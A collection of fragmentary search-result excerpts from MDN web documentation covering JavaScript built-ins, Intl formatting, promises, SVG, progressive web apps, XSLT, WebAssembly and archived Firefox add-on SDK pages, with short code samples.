...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaletimestringsupportslocales() { try { new date().tolocaletimestring('i'); } catch (e) { return e​.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in localized time formats.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses 12-hour time with am/pm console.log(date.tolocaletimestring('en-us')); // → "7:00:00 pm" // british english uses 24-hour time without am/pm console.log(date.tolocaletimestring('en-gb')); // → "03:00:00" // korean uses 12-hour time with am/pm console.log(date.tolocaletimestring('ko-kr')); // → "오후 12:00:00" // arabic in most arabic speaking countries uses real arabic digits console.log(date.tolocaletimestring('ar-eg')); // →...
... "٧:٠٠:٠٠ م" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(date.tolocaletimestring(['ban', 'id'])); // → "11.00.00" using options the results provided by tolocaletimestring() can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // an application may want to use utc and make that visible var options = { timezone: 'utc', timezonename: 'short' }; console.log(date.tolocaletimestring('en-us', options)); // → "3:00:00 am gmt" // sometimes even the us needs 24-hour time console.log(date.tolocaletimestring('en-us', { hour12: false })); // → "19:00:00" // show only hours and minutes, use options with the default locale - use an empty array co...
Error - JavaScript
examples throwing a generic error usually you create an error object with the intention of raising it using the throw keyword.
... you can handle the error using the try...catch construct: try { throw new error('whoops!') } catch (e) { console.error(e.name + ': ' + e.message) } handling a specific error you can choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern javascript engines, instanceof keyword: try { foo.bar() } catch (e) { if (e instanceof evalerror) { console.error(e.name + ': ' + e.message) } else if (e instanceof rangeerror) { console.error(e.name + ': ' + e.message) } // ...
... some browsers include the customerror constructor in the stack trace when using es2015 classes.
...stom debugging information this.foo = foo this.date = new date() } } try { throw new customerror('baz', 'bazmessage') } catch(e) { console.error(e.name) //customerror console.error(e.foo) //baz console.error(e.message) //bazmessage console.error(e.stack) //stacktrace } es5 custom error object all browsers include the customerror constructor in the stack trace when using a prototypal declaration.
Function.prototype.call() - JavaScript
examples using call to chain constructors for an object you can use call to chain constructors for an object (similar to java).
... function product(name, price) { this.name = name; this.price = price; } function food(name, price) { product.call(this, name, price); this.category = 'food'; } function toy(name, price) { product.call(this, name, price); this.category = 'toy'; } const cheese = new food('feta', 5); const fun = new toy('robot', 40); using call to invoke an anonymous function in this example, we create an anonymous function and use call to invoke it on every object in an array.
... const animals = [ { species: 'lion', name: 'king' }, { species: 'whale', name: 'fail' } ]; for (let i = 0; i < animals.length; i++) { (function(i) { this.print = function() { console.log('#' + i + ' ' + this.species + ': ' + this.name); } this.print(); }).call(animals[i], i); } using call to invoke a function and specifying the context for 'this' in the example below, when we call greet, the value of this will be bound to object obj.
... function greet() { const reply = [this.animal, 'typically sleep between', this.sleepduration].join(' '); console.log(reply); } const obj = { animal: 'cats', sleepduration: '12 and 16 hours' }; greet.call(obj); // cats typically sleep between 12 and 16 hours using call to invoke a function and without specifying the first argument in the example below, we invoke the display function without passing the first argument.
Intl.DateTimeFormat - JavaScript
examples using datetimeformat in basic use without specifying a locale, datetimeformat uses the default locale and default options.
... var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // tolocalestring without arguments depends on the implementation, // the default locale, and the default time zone console.log(new intl.datetimeformat().format(date)); // → "12/19/2012" if run with en-us locale (language) and time zone america/los_angeles (utc-0800) using locales this example shows some of the variations in localized date and time formats.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // results below use the time zone of america/los_angeles (utc-0800, pacific standard time) // us english uses month-day-year order console.log(new intl.datetimeformat('en-us').format(date)); // → "12/19/2012" // british english uses day-month-year order console.log(new intl.datetimeformat('en-gb').format(date)); // → "19/12/2012" // korean uses year-month-day order console.log(new intl.datetimeformat('ko-kr').format(date)); // → "2012.
... may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(new intl.datetimeformat('ja-jp-u-ca-japanese').format(date)); // → "24/12/19" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(new intl.datetimeformat(['ban', 'id']).format(date)); // → "19/12/2012" using options the date and time formats can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0, 200)); // request a weekday along with a long date var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; console.log(new intl.datetimeformat('de-de', options).format(date)); // → "donnerstag, 20.
Intl.NumberFormat - JavaScript
var number = 3500; console.log(new intl.numberformat().format(number)); // → '3,500' if in us english locale using locales this example shows some of the variations in localized number formats.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var number = 123456.789; // german uses comma as decimal separator and period for thousands console.log(new intl.numberformat('de-de').format(number)); // → 123.456,789 // arabic in most arabic speaking countries uses real arabic digits console.log(new intl.numberformat('ar-eg').format(number)); // → ١٢٣٤٥٦٫٧٨٩ // india uses thousands/lakh/crore separators console.log(new intl.numberformat('en-in').format(number)); // → 1,23,456.789 // the nu extension key requests a numbering system, e.g.
... chinese decimal console.log(new intl.numberformat('zh-hans-cn-u-nu-hanidec').format(number)); // → 一二三,四五六.七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(new intl.numberformat(['ban', 'id']).format(number)); // → 123.456,789 using options the results can be customized using the options argument: var number = 123456.789; // request a currency format console.log(new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }).format(number)); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(new intl.numberformat('ja-jp', { style: 'currency', currency: 'jpy' }).format(number)); // → ¥123,457 // limit to three significant digits c...
...onsole.log(new intl.numberformat('en-in', { maximumsignificantdigits: 3 }).format(number)); // → 1,23,000 using style and unit console.log(new intl.numberformat("pt-pt", { style: 'unit', unit: "mile-per-hour" }).format(50)); // → 50 mi/h console.log((16).tolocalestring('en-gb', { style: "unit", unit: "liter", unitdisplay: "long" })); // → 16 litres specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat' in that specification.
Number.prototype.toLocaleString() - JavaScript
examples using tolocalestring in basic use without specifying a locale, a formatted string in the default locale and with default options is returned.
... using locales this example shows some of the variations in localized number formats.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var number = 123456.789; // german uses comma as decimal separator and period for thousands console.log(number.tolocalestring('de-de')); // → 123.456,789 // arabic in most arabic speaking countries uses eastern arabic digits console.log(number.tolocalestring('ar-eg')); // → ١٢٣٤٥٦٫٧٨٩ // india uses thousands/lakh/crore separators console.log(number.tolocalestring('en-in')); // → 1,23,456.789 // the nu extension key requests a numbering system, e.g.
... chinese decimal console.log(number.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六.七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(number.tolocalestring(['ban', 'id'])); // → 123.456,789 using options the results provided by tolocalestring can be customized using the options argument: var number = 123456.789; // request a currency format console.log(number.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(number.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,457 // limit to three significant digits console.log(number.tolocalestring('...
Number - JavaScript
values of other types can be converted to numbers using the number() function.
... examples using the number object to assign values to numeric variables the following example uses the number object's properties to assign values to several numeric variables: const biggestnum = number.max_value const smallestnum = number.min_value const infinitenum = number.positive_infinity const neginfinitenum = number.negative_infinity const notanum = number.nan integer range for number...
... larger numbers can be represented using the bigint type.
... using number to convert a date object the following example converts the date object to a numerical value using number as a function: let d = new date('december 17, 1995 03:24:00') console.log(number(d)) this logs 819199440000.
Object.prototype.toString() - JavaScript
see using tostring() to detect object class.
... by using radix you can also convert base 10 numbers (like 1,2,3,4,5,.........) to another base numbers, in example below we are converting base 10 number to a base 2 (binary) number let basetenint = 10; console.log(basetenint.tostring(2)); // expected output is "1010" and same for big integers let bignum = bigint(20); console.log(bignum.tostring(2)); // expected output is "10100" some common radix are 2 for binary numbers, 8 for octal numbers, 10 for decimal numbers, 16 for hexadecimal numbers.
... dog.prototype.tostring = function dogtostring() { const ret = 'dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed; return ret; } or, using es6 template strings: dog.prototype.tostring = function dogtostring() { return `dog ${this.name} is a ${this.sex} ${this.color} ${this.breed}`; } with the preceding code in place, any time thedog is used in a string context, javascript automatically calls the dogtostring() function, which returns the following string: "dog gabby is a female chocolate lab" using tostring() to detect object...
... const tostring = object.prototype.tostring; tostring.call(new date); // [object date] tostring.call(new string); // [object string] tostring.call(math); // [object math] // since javascript 1.8.5 tostring.call(undefined); // [object undefined] tostring.call(null); // [object null] using tostring() in this way is unreliable; objects can change the behavior of object.prototype.tostring() by defining a symbol.tostringtag property, leading to unexpected results.
Promise.all() - JavaScript
examples using promise.all promise.all waits for all fulfillments (or the first rejection).
...ets fulfilled var p = promise.all([1,2,3]); // this will be counted as if the iterable passed contains only the resolved promise with value "444", so it gets fulfilled var p2 = promise.all([1,2,3, promise.resolve(444)]); // this will be counted as if the iterable passed contains only the rejected promise with value "555", so it gets rejected var p3 = promise.all([1,2,3, promise.reject(555)]); // using settimeout we can execute code after the stack is empty settimeout(function() { console.log(p); console.log(p2); console.log(p3); }); // logs // promise { <state>: "fulfilled", <value>: array[3] } // promise { <state>: "fulfilled", <value>: array[4] } // promise { <state>: "rejected", <reason>: 555 } asynchronicity or synchronicity of promise.all this following example demonstrates...
... the asynchronicity (or synchronicity, if the iterable passed is empty) of promise.all: // we are passing as argument an array of promises that are already resolved, // to trigger promise.all as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.all(resolvedpromisesarray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function() { console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: array[2] } the same thing happens if promise.all rejects: var mixedpromisesarray = [promise.resolve(33), promise.reject(44)]; var p = pro...
...ettimeout(() => resolve('one'), 1000); }); var p2 = new promise((resolve, reject) => { settimeout(() => resolve('two'), 2000); }); var p3 = new promise((resolve, reject) => { settimeout(() => resolve('three'), 3000); }); var p4 = new promise((resolve, reject) => { settimeout(() => resolve('four'), 4000); }); var p5 = new promise((resolve, reject) => { reject(new error('reject')); }); // using .catch: promise.all([p1, p2, p3, p4, p5]) .then(values => { console.log(values); }) .catch(error => { console.error(error.message) }); //from console: //"reject" it is possible to change this behaviour by handling possible rejections: var p1 = new promise((resolve, reject) => { settimeout(() => resolve('p1_delayed_resolution'), 1000); }); var p2 = new promise((resolve, reject) => { ...
Promise.prototype.then() - JavaScript
// using a resolved promise, the 'then' block will be triggered instantly, // but its handlers will be triggered asynchronously as demonstrated by the console.logs const resolvedprom = promise.resolve(33); let thenprom = resolvedprom.then(value => { console.log("this gets called after the end of the main stack.
... the value received and returned is: " + value); return value; }); // instantly logging the value of thenprom console.log(thenprom); // using settimeout we can postpone the execution of a function to the moment the stack is empty settimeout(() => { console.log(thenprom); }); // logs, in order: // promise {[[promisestatus]]: "pending", [[promisevalue]]: undefined} // "this gets called after the end of the main stack.
... examples using the then method var p1 = new promise((resolve, reject) => { resolve('success!'); // or // reject(new error("error!")); }); p1.then(value => { console.log(value); // success!
...(e) { // not called console.error('rejected', e); }); var p3 = p1.then(function() { // return promise here, that will be rejected with 'error' after 1 second return new promise(rejectlater); }); p3.then(function(v) { // not called console.log('resolved', v); }, function(e) { console.error('rejected', e); // "rejected", 'error' }); window.setimmediate style promise-based polyfill using a function.prototype.bind() reflect.apply (reflect.apply()) method to create a (non-cancellable) window.setimmediate-style function.
Proxy - JavaScript
it is using the get handler.
... obj[prop] : 37; } }; const p = new proxy({}, handler); p.a = 1; p.b = undefined; console.log(p.a, p.b); // 1, undefined console.log('c' in p, p.c); // false, 37 no-op forwarding proxy in this example, we are using a native javascript object to which our proxy will forward all operations that are applied to it.
...here's how using the set handler.
...as you see, you can flexibly "define" properties without using object.defineproperties.
String.prototype.localeCompare() - JavaScript
examples using localecompare() // the letter "a" is before "c" yielding a negative value 'a'.localecompare('c'); // -2 or -1 (or some other negative value) // alphabetically the word "check" comes after "against" yielding a positive value 'check'.localecompare('against'); // 2 or 1 (or some other positive value) // "a" and "a" are equivalent yielding a neutral value of zero 'a'.localecompare('a'); // 0 sor...
... to check whether an implementation supports them, use the "i" argument (a requirement that illegal language tags are rejected) and look for a rangeerror exception: function localecomparesupportslocales() { try { 'foo'.localecompare('bar', 'i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales the results provided by localecompare() vary between languages.
... in order to get the sort order of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: console.log('ä'.localecompare('z', 'de')); // a negative value: in german, ä sorts before z console.log('ä'.localecompare('z', 'sv')); // a positive value: in swedish, ä sorts after z using options the results provided by localecompare() can be customized using the options argument: // in german, ä has a as the base letter console.log('ä'.localecompare('a', 'de', { sensitivity: 'base' })); // 0 // in swedish, ä and a are separate base letters console.log('ä'.localecompare('a', 'sv', { sensitivity: 'base' })); // a positive value numeric sorting // by default, "2" > "10" console.log("...
...2".localecompare("10")); // 1 // numeric using options: console.log("2".localecompare("10", undefined, {numeric: true})); // -1 // numeric using locales tag: console.log("2".localecompare("10", "en-u-kn-true")); // -1 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.localecompare' in that specification.
String.prototype.replace() - JavaScript
using global and ignore with replace() global replace can only be done with a regular expression.
... using an inline function that modifies the matched characters in this example, all occurrences of capital letters in the string are converted to lower case, and a hyphen is inserted just before the match location.
...if we had tried to do this using the match without a function, the tolowercase() would have no effect.
... let newstring = propertyname.replace(/[a-z]/g, '-' + '$&'.tolowercase()); // won't work this is because '$&'.tolowercase() would first be evaluated as a string literal (resulting in the same '$&') before using the characters as a pattern.
Symbol - JavaScript
if you really want to create a symbol wrapper object, you can use the object() function: let sym = symbol('foo') typeof sym // "symbol" let symobj = object(sym) typeof symobj // "object" shared symbols in the global symbol registry the above syntax using the symbol() function will not create a global symbol that is available in your whole codebase.
... examples using the typeof operator with symbols the typeof operator can help you to identify symbols.
... when using loose equality, object(sym) == sym returns true.
... let obj = {} obj[symbol('a')] = 'a' obj[symbol.for('b')] = 'b' obj['c'] = 'c' obj.d = 'd' for (let i in obj) { console.log(i) // logs "c" and "d" } symbols and json.stringify() symbol-keyed properties will be completely ignored when using json.stringify(): json.stringify({[symbol('foo')]: 'foo'}) // '{}' for more details, see json.stringify().
delete operator - JavaScript
var employee = {}; object.defineproperty(employee, 'name', {configurable: false}); console.log(delete employee.name); // returns false var, let, and const create non-configurable properties that cannot be deleted with the delete operator: var nameother = 'xyz'; // we can access this global property using: object.getownpropertydescriptor(window, 'nameother'); // output: object {value: "xyz", // writable: true, // enumerable: true, // configurable: false} // since "nameother" is added using with the // var keyword, it is marked as "non-configurable" delete nameother; // return false in strict mode, this would have raised an exception.
...however, in the case of internet explorer, when one uses delete on a property, some confusing behavior results, preventing other browsers from using simple objects like object literals as ordered associative arrays.
...// since we are using var, this is marked as non-configurable.
...in the following example, trees[3] is removed from the array completely using splice(): var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; trees.splice(3,1); console.log(trees); // ["redwood", "bay", "cedar", "maple"] specifications specification ecmascript (ecma-262)the definition of 'the delete operator' in that specification.
instanceof - JavaScript
it can also be changed by changing an object's prototype using object.setprototypeof.
... it is also possible using the non-standard __proto__ property.
...for instance, you can securely check if a given object is, in fact, an array using array.isarray(myobj) for example, checking if a nodes is a svgelement in a different context, you can use mynode instanceof mynode.ownerdocument.defaultview.svgelement.
... note for mozilla developers: in code using xpcom, instanceof has special effect: obj instanceof xpcominterface (e.g.
typeof - JavaScript
ndefinedvariable === 'undefined'; typeof undeclaredvariable === 'undefined'; // objects typeof {a: 1} === 'object'; // use array.isarray or object.prototype.tostring.call // to differentiate regular objects from arrays typeof [1, 2, 4] === 'object'; typeof new date() === 'object'; typeof /regex/ === 'object'; // see regular expressions section for historical results // the following are confusing, dangerous, and wasteful.
... using new operator // all constructor functions, with the exception of the function constructor, will always be typeof 'object' let str = new string('string'); let num = new number(100); typeof str; // it will return 'object' typeof num; // it will return 'object' let func = new function(); typeof func; // it will return 'function' need for parentheses in syntax // parentheses can be used for de...
...using typeof could never generate an error.
... but with the addition of block-scoped let and statements/const using typeof on let and const variables (or using typeof on a class) in a block before they are declared will throw a referenceerror.
class - JavaScript
the class declaration creates a new class with a given name using prototype-based inheritance.
... you can also define a class using a class expression.
... class polygon { constructor(height, width) { this.name = 'polygon'; this.height = height; this.width = width; } } class square extends polygon { constructor(length) { super(length, length); this.name = 'square'; } } attempting to declare a class twice re-declaring a class using the class declaration throws a syntaxerror.
... class foo {}; class foo {}; // uncaught syntaxerror: identifier 'foo' has already been declared the same error is thrown when a class has been defined before using the class expression.
label - JavaScript
examples using a labeled continue with for loops var i, j; loop1: for (i = 0; i < 3; i++) { //the first for statement is labeled "loop1" loop2: for (j = 0; j < 3; j++) { //the second for statement is labeled "loop2" if (i === 1 && j === 1) { continue loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = ...
...0, j = 2" // "i = 1, j = 0" // "i = 2, j = 0" // "i = 2, j = 1" // "i = 2, j = 2" // notice how it skips both "i = 1, j = 1" and "i = 1, j = 2" using a labeled continue statement given an array of items and an array of tests, this example counts the number of items that passes all the tests.
... var itemspassed = 0; var i, j; top: for (i = 0; i < items.length; i++) { for (j = 0; j < tests.length; j++) { if (!tests[j].pass(items[i])) { continue top; } } itemspassed++; } using a labeled break with for loops var i, j; loop1: for (i = 0; i < 3; i++) { //the first for statement is labeled "loop1" loop2: for (j = 0; j < 3; j++) { //the second for statement is labeled "loop2" if (i === 1 && j === 1) { break loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // notice the difference with the previous continue example using a labeled break statement given an array of items and an array of tests, this example determines whether a...
... var allpass = true; var i, j; top: for (i = 0; items.length; i++) for (j = 0; j < tests.length; i++) if (!tests[j].pass(items[i])) { allpass = false; break top; } using a labeled block with break you can use labels within simple blocks, but only break statements can make use of non-loop labels.
var - JavaScript
duplicate variable declarations using var will not trigger an error, even in strict mode, and the variable will not lose its value, unless another assignment is performed.
... 'use strict'; function foo() { var x = 1; function bar() { var y = 2; console.log(x); // 1 (function `bar` closes over `x`) console.log(y); // 2 (`y` is in scope) } bar(); console.log(x); // 1 (`x` is in scope) console.log(y); // referenceerror in strict mode, `y` is scoped to `bar` } foo(); variables declared using var are created before any code is executed in a process known as hoisting.
... in the global context, a variable declared using var is added as a non-configurable property of the global object.
... this means its property descriptor cannot be changed and it cannot be deleted using delete.
Handling media support issues in web content - Web media technologies
using poster frames a poster frame is a still image that's representative of the content of a video.
... poster frames for video progressive images images—whether embedded using <img> or <picture>—don't support a concept similar to poster frames.
...this requires creating your images using progressive formats, such as progressive jpeg or interlaced png.
... <img src="/images/stafff-photo-huge-progressive.jpg" alt="staff photo, taken in january of 1972"> when using a progressive image, the data is stored in such a way that the browser is able to render a low-quality representation of the image as soon as possible, then update the image as it loads—or after it's finished loading—to present it in full quality.
Add to Home screen - Progressive web apps (PWAs)
if you choose not to add it to your home screen at this point, you can do so later using the add to home screen icon in the main chrome menu.
... regardless of which browser you are using, when you choose to add the app to your home screen, you'll see it appear along with a short title, in the same way that native apps do.
...we then cache all the site's assets using the cache api, and serve them from the cache instead of the network using the code in the sw.js file.
... respond to the user's interaction with the prompt using the userchoice property, again available on the beforeinstallprompt event object.
Installing and uninstalling web apps - Progressive web apps (PWAs)
depending on the device and features of the operating system and browser, this can result in what is essentially a fully featured application (for example, using webapk on android) or as a shortcut added to their device’s screen.
... firefox for android on an android device using firefox, you'll see a "home" icon with a plus (+) icon inside it—this is the "add to home screen" icon displayed for any site that has the necessary features in place.
... if you choose not to add it to your home screen at this point, you can do so later using the "add to home screen" icon in the main chrome menu.
... the installed web application regardless of which browser and device you're using, when you choose to add the app to your home screen or app launcher, it'll show up there looking just like any application.
Media - Progressive web apps (PWAs)
you can control how the content of the document breaks across page boundaries, by using the page-break-before, page-break-after and page-break-inside properties.
... some other features of user interfaces are implemented using attributes, in the normal way.
...selectors can specify these attributes like any other attributes, by using square brackets: [disabled] or [readonly].
...the next page describes how you can change rules dynamically by using a programming language: javascript.
Structural overview of progressive web apps - Progressive web apps (PWAs)
pwas can be built using any approach you like, but some will work better than the others.
...there are so many varied devices with browsers — it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, using technologies like the viewport meta tag, css media queries, flexbox, and css grid.
... the first thing it does is to generate the app's displayed content using the following template: var template = "<article>\n\ <img src='data/img/slug.jpg' alt='name'>\n\ <h3>#pos.
...this is the content we'll load into the content section of the page using javascript code.
lengthAdjust - SVG: Scalable Vector Graphics
four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"> <g font-face="sans-serif"> <text x="0" y="20" textlength="300" lengthadjust="spacing"> stretched using spacing only.
... </text> <text x="0" y="50" textlength="300" lengthadjust="spacingandglyphs"> stretched using spacing and glyphs.
... </text> <text x="0" y="80" textlength="100" lengthadjust="spacing"> shrunk using spacing only.
... </text> <text x="0" y="110" textlength="100" lengthadjust="spacingandglyphs"> shrunk using spacing and glyphs.
<feComposite> - SVG: Scalable Vector Graphics
the <fecomposite> svg filter primitive performs the combination of two input images pixel-wise in image space using one of the porter-duff compositing operations: over, in, atop, out, xor, and lighter.
...if the arithmetic operation is chosen, each result pixel is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively k1, k2, k3 and k4 indicate the values of the attributes with the same name usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes » presentation attribute...
...rm="translate(650,25)" xlink:href="#twobluetriangles"/> <use transform="translate(775,25)" xlink:href="#twobluetriangles"/> <use transform="translate(900,25)" xlink:href="#twobluetriangles"/> </g> </defs> <rect fill="none" stroke="blue" x="1" y="1" width="1098" height="648"/> <g font-family="verdana" font-size="40" shape-rendering="crispedges"> <desc>render the examples using the filters that draw on top of an opaque white surface, thus obliterating the background.</desc> <g enable-background="new"> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(with feflood)</text> <text x="15" y="200">opacity 0.5</text> <text x="15" y="240" font-size="27">(with feflood)</text> <use xlink:href="#bluetriangles"/>...
...#xorflood)" /> <text x="15" y="275">xor</text> </g> <g transform="translate(900,25)"> <use xlink:href="#red100" filter="url(#arithmeticflood)" /> <use xlink:href="#red50" filter="url(#arithmeticflood)" /> <text x="-25" y="275">arithmetic</text> </g> </g> <g transform="translate(0,325)" enable-background="new"> <desc>render the examples using the filters that do not obliterate the background, thus sometimes causing the background to continue to appear in some cases, and in other cases the background image blends into itself ("double-counting").</desc> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(without feflood)</text> <text x="15" y="200">opacity 0.5</text...
Patterns - SVG: Scalable Vector Graphics
WebSVGTutorialPatterns
« previousnext » patterns patterns are arguably one of the more confusing fill types to use in svg.
...x="0" y="0" width="25" height="25" fill="url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="url(#gradient1)" fill-opacity="0.5"/> </pattern> </defs> <rect fill="url(#pattern)" stroke="black" width="200" height="200"/> </svg> screenshotlive sample inside the <pattern> element, you can include any of the other basic shapes you've included before, and each of them can be styled using any of the styles you've learned before, including gradients and opacity.
... the confusing thing about patterns is defining a unit system and their size.
...what this means is that unless you specify one or both of these attributes (patterncontentunits and patternunits), the shapes you draw inside your pattern are being drawn in a different coordinate system than the pattern element is using, which can make things a bit confusing when you're writing this by hand.
Web security
http strict-transport-security the strict-transport-security: http header lets a website specify that it may only be accessed using https.
... mixed content an https page that includes content fetched using cleartext http is called a mixed content page.
... redirection with 301 and 302 response codes to be written data security using http cookies an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser.
... csp: frame-ancestors the http content-security-policy (csp) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>.
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
this has been possible for a while when using the xsltprocessor in javascript.
... however when using an <?xml-stylesheet?> processing instruction (pi) there used to be no way to provide parameters.
... <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascript.
... processing instructions the attributes in the xslt-param and xslt-param-namespace pis are parsed using the rules defined in xml-stylesheet.
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
using the xsltprocessor.getparameter() method, the code can figure whether to sort in ascending or descending order.
...the sorting value is set using xsltprocessor.setparameter().
...the xsl:sort element's order attribute can access the value of the parameter using $myorder.
...using {} evaluates the content as an xpath expression.
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
using the mozilla javascript interface to xsl transformations this document describes the javascript interface to the xslt processing engine in mozilla 1.2 and up.
... specifying parameters using processing instructions firefox allows stylesheet parameters to be specified when using the <?xml-stylesheet?> processing instruction.
... this is done using the <?xslt-param?> pi described in this document.
... common xslt errors this article lists some common problems using xslt in firefox.
WebAssembly Concepts - WebAssembly
in the future, webassembly modules will be loadable just like es2015 modules (using <script type='module'>), meaning that javascript will be able to fetch, compile, and import a webassembly module as easily as an es2015 module.
... using assemblyscript which looks similar to typescript and compiles to webassembly binary.
...you can get started with installing the necessary toolchain, compiling a sample rust program to a webassembly npm package, and using that in a sample web app, over at our compiling from rust to webassembly article.
... using assemblyscript for web developers who want to try webassembly without needing to learn the details of c or rust, assemblyscript will be the best option.
Loading Content Scripts - Archive of obsolete content
the constructors for content-script-using objects such as panel and page-mod define a group of options for loading content scripts: contentscript string, array contentscriptfile string, array contentscriptwhen string contentscriptoptions object we have already seen the contentscript option, which enables you to pass in the text of the script itself as a string literal.
...contentscriptfile: [data.url("jquery-1.4.2.min.js"), data.url("my-content-script.js")] scripts specified using contentscriptfile are loaded before those specified using contentscript.
... instead, keep the script in a separate file and load it using contentscriptfile.
Content Processes - Archive of obsolete content
content scripts communicate with add-on code using something called event emitters.
...in addition to the port property, workers also support the web worker api, which allows scripts to send messages to each other using the postmessage function.
...since both add-on modules and content scripts are currently loaded in sandboxes rather than separate processes, and sandboxes can communicate with each other directly (using imports/exports), you might be wondering why we have to go through all the trouble of passing messages between add-on and content scripts.
SDK and XUL Comparison - Archive of obsolete content
we also expect to support both desktop and mobile firefox using a single edition of the sdk: so you'll be able to write one extension and have it work on both products.
...although it's possible to write insecure add-ons using the sdk, it's not as easy, and the damage that a compromised add-on can do is usually more limited.
...using only the sdk's supported apis you have much more limited options for your ui.
ui - Archive of obsolete content
from firefox 30 onwards, you can attach panels to toggle buttons, by passing the button into the panel's constructor or its show() method: frame a frame enables you to create an html iframe, using bundled html, css and javascript.
...this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing.
...this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing.
util/match-pattern - Archive of obsolete content
usage specifying patterns there are three ways you can specify patterns: as an exact match string using a wildcard in a string using a regular expression exact matches a url matches only that url.
... example pattern example matching urls example non-matching urls "*" http://example.com/ https://example.com/ ftp://example.com/ http://bar.com/foo.js http://foo.com/ file://example.js resource://me/my-addon/data/file.html data:text/html,hi there a domain name prefixed with an asterisk and dot matches any url of that domain or a subdomain, using any of http, https, ftp.
... example pattern example matching urls "file://*" file://c:/file.html file:///home/file.png "resource://*" resource://my-addon-at-me-dot-org/my-addon/data/file.html "data:*" data:text/html,hi there regular expressions you can specify patterns using a regular expression: var { matchpattern } = require("sdk/util/match-pattern"); var pattern = new matchpattern(/.*example.*/); the regular expression is subject to restrictions based on those applied to the html5 pattern attribute.
Low-Level APIs - Archive of obsolete content
stylesheet/style modify styles using stylesheet files or css rules.
... ui/frame create html iframes, using bundled html, css and javascript, that can be added to a designated area of the firefox user interface.
... util/collection a simple list-like class and utilities for using it.
jpmignore - Archive of obsolete content
using .jpmignore to ignore files and directories using .jpmignore is similar to using .gitignore with git, .hgignore with mercurial, or .npmignore with npm.
... by using this file you can let jpm know which files and directories you would like it to ignore when building a .xpi file with jpm xpi.
... using .jpmignore to allow files everything in your add-on directory will be included in the xpi file you make with jpm xpi.
Add a Context Menu Item - Archive of obsolete content
if these simple contexts aren't enough, you can define more sophisticated contexts using scripts.
...typically you'd store the image in your add-on's "data" directory, and construct the url using self.data.url(): var self = require("sdk/self"); var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', image...
... from firefox 35 you can specify an access key using the accesskey option.
Creating annotations - Archive of obsolete content
the selector page mod can be switched on and off using a message from the main add-on code.
...ker); if(index != -1) { workerarray.splice(index, 1); } } edit toggleactivation() to notify the workers of a change in activation state: function activateselectors() { selectors.foreach( function (selector) { selector.postmessage(annotatorison); }); } function toggleactivation() { annotatorison = !annotatorison; activateselectors(); return annotatorison; } we'll be using this url in all our screenshots.
